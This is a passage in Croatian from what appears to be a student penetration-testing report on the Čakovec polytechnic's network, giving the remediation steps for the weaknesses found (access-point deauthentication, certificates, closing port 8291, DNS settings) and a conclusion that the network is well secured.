veleučilišta u Čakovcu su izvrsno zaštićeni i nije moguće prekriti ostavljene tragove. 
 
8 ZAKRPE SUSTAVA 
Ukoliko smo našli propuste u mreži, takve propuste moramo prijaviti administratoru 
da izvrši zakrpe. 
Pronađeni propusti:  
 Na svim AP-ima omogućiti deautentifikaciju korisnika samo ako se unese njegova 
MAC adresa. 
 Postaviti certifikate na računala koja su dostupna javnosti. 
 Zatvoriti port 8291 prema internetu. 
 Isključiti DNS servis na routeru ili pravilno postaviti DNS server kako bismo 
spriječili moguću štetu. 
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9 ZAKLJUČAK 
Sigurnost mreže je jedan od najvažnijih aspekata mreže. Svaki administrator bi 
trebao vršiti napade na vlastitu mrežu kako bi osigurao mrežu od neovlaštenog upada.   
Mreža Međimusrkog veleučilišta u Čakovcu je visoko sigurna, usprkos pronađenih 
nekoliko nedostaka, sustav je vrlo zatvoren i teško je, ako ne i gotovo nemoguće , zadobiti 
potpunu kontrolu nad mrežom zbog njene razdijeljenosti i dobro postavljenih firewall-a. 
Današnja zaštita mreža je vrlo pouzdana i gotovo je nemoguće probiti mreže velikih 
tvrtki, npr. Google koji posjeduje jednu od najsigurnijih mreža na svijetu i trebala bi biti 
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